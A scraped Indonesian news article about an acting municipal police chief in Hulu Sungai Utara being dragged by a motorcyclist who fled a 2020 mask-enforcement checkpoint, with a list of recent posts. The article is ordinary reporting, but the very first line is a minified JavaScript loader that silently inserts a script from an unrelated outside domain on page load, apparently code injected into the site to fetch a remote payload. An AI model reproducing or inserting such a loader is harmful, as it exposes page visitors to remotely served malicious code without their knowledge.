(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Cegat Pelanggar Protokol Kesehatan, Plt Kasatpol PP HSU Terseret Hingga Lecet


KANALKALIMANTAN.COM, AMUNTAI – Sempat terseret beberapa meter, aksi Plt Kepala Satpol PP dan Damkar Kabupaten Hulu Sungai Utara (HSU) Jumadi mengadang pengendara yang tidak menggunakan masker, berujung luka di sebagian tangan dan kakinya.

Peristiwa itu terjadi sekitar pukul 22.00 Wita, Selasa (22/9/2020), saat digelarnya razia gabungan TNI-Polri dan Satpol PP terkait penegakan disiplin protokol kesehatan di kawasan bundaran kota Amuntai.

Berawal ketika petugas mencegat pengendara sepeda motor matic yang diketahui tidak menggunakan masker dari arah pasar Amuntai menuju bundaran kota.

Saat diminta untuk menepi oleh petugas pengendara itu sempat menepi, namun tanpa alasan pengendara tersebut lanjut tancap gas motornya.

Plt Kasatpol PP HSU Jumaidi sudah sempat memegang motor pengandara dengan erat, tapi ia terseret beberapa meter dan akhirnya sempat jatuh di jalan, pelanggar tersebut pun akhirnya lolos.

Atas kejadian tersebut, pihak Satpol PP HSU mengingatkan  pelanggaran itu merupakan tindak pidana, dimana melakukan perlawanan hingga melukai petugas, kata Ihsan, salah satu petugas yang menceritakan kejadian tersebut kepada Kanalkalimantan.com, Rabu (23/9/2020) siang.

Luka lecet yang dialami Jumadi karena terseret sepeda motor pelanggar protokol kesehatan. foto: satpol pp hsu

Atas kejadian ini Plt Jepala Satpol PP HSU mengalami luka lecet pada bagian lengan kanan.

“Jika nanti orang tersebut kembali dan meminta maaf perkara ini tidak akan berlanjut,” kata Ihsan

“Kami mengadakan razia di bundaran kota, jadi rekan rekan yang datang dari pasar diingatkan secara persuasif dan bagi warga yang tidak menggunakan masker diberhentikan, diberikan peringatan. Kami berikan masker dan juga sanksi fisik, namun bila ada warga yang melanggar dan ketika dihentikan melakukan perlawanan, apalagi sampai melukai petugas, maka akan di kenakan pidana,” tegasnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.